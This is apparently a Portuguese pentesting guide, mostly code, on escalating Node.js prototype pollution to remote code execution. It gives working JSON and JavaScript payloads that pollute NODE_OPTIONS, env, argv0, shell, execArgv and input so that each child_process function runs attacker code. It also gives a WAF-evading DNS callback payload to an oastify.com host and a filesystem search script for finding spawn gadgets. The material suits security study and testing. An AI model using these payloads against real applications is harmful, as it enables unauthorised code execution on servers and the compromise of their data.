Prototype Pollution to RCE

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Código Vulnerável

Imagine um JS real usando algum código como o seguinte:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via env vars

PP2RCE significa Prototype Pollution to RCE (Execução Remota de Código).

De acordo com este writeup, quando um processo é gerado com algum método de child_process (como fork ou spawn ou outros), ele chama o método normalizeSpawnArguments, que é um gadget de poluição de protótipo para criar novas variáveis de ambiente:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Verifique que o código, você pode ver que é possível envenenar envPairs apenas poluindo o atributo .env.

Envenenando `proto`

Observe que, devido a como a função normalizeSpawnArguments da biblioteca child_process do node funciona, quando algo é chamado para definir uma nova variável de ambiente para o processo, você só precisa poluir qualquer coisa. Por exemplo, se você fizer __proto__.avar="valuevar" o processo será iniciado com uma var chamada avar com o valor valuevar.

No entanto, para que a variável de ambiente seja a primeira, você precisa poluir o atributo .env e (apenas em alguns métodos) essa var será a primeira (permitindo o ataque).

É por isso que NODE_OPTIONS não está dentro de .env no seguinte ataque.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Envenenando `constructor.prototype`

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Um payload semelhante ao anterior, com algumas mudanças, foi proposto em este artigo. As principais diferenças são:

Em vez de armazenar o payload do nodejs dentro do arquivo /proc/self/environ, ele o armazena dentro do argv0 de /proc/self/cmdline.
Em seguida, em vez de requerer via NODE_OPTIONS o arquivo /proc/self/environ, ele requer /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Interação DNS

Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ou, para evitar que os WAFs peçam o domínio:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

Nesta seção, vamos analisar cada função do child_process para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:

exec exploração

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile exploração

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

Para **`execFile`** funcionar, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
Se **não** estiver executando **node**, você precisa descobrir como **alterar a execução** do que quer que esteja executando **com variáveis de ambiente** e defini-las.

As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você possa poluir `.shell`, você não poluirá o que está sendo executado).

</details>

<details>

<summary><code>fork</code> exploração</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn exploração

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

execFileSync exploração

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync exploração

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

spawnSync exploração

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forçando Spawn

Nos exemplos anteriores, você viu como acionar o gadget; uma funcionalidade que chama spawn precisa estar presente (todos os métodos de child_process usados para executar algo a chamam). No exemplo anterior, isso era parte do código, mas e se o código não estiver chamando?

Controlando um caminho de arquivo require

Neste outro artigo, o usuário pode controlar o caminho do arquivo onde um require será executado. Nesse cenário, o atacante só precisa encontrar um arquivo .js dentro do sistema que execute um método spawn quando importado. Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:

/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Encontre mais arquivos abaixo

O seguinte script simples irá procurar por chamadas de child_process sem qualquer preenchimento (para evitar mostrar chamadas dentro de funções):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Arquivos interessantes encontrados pelo script anterior

node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })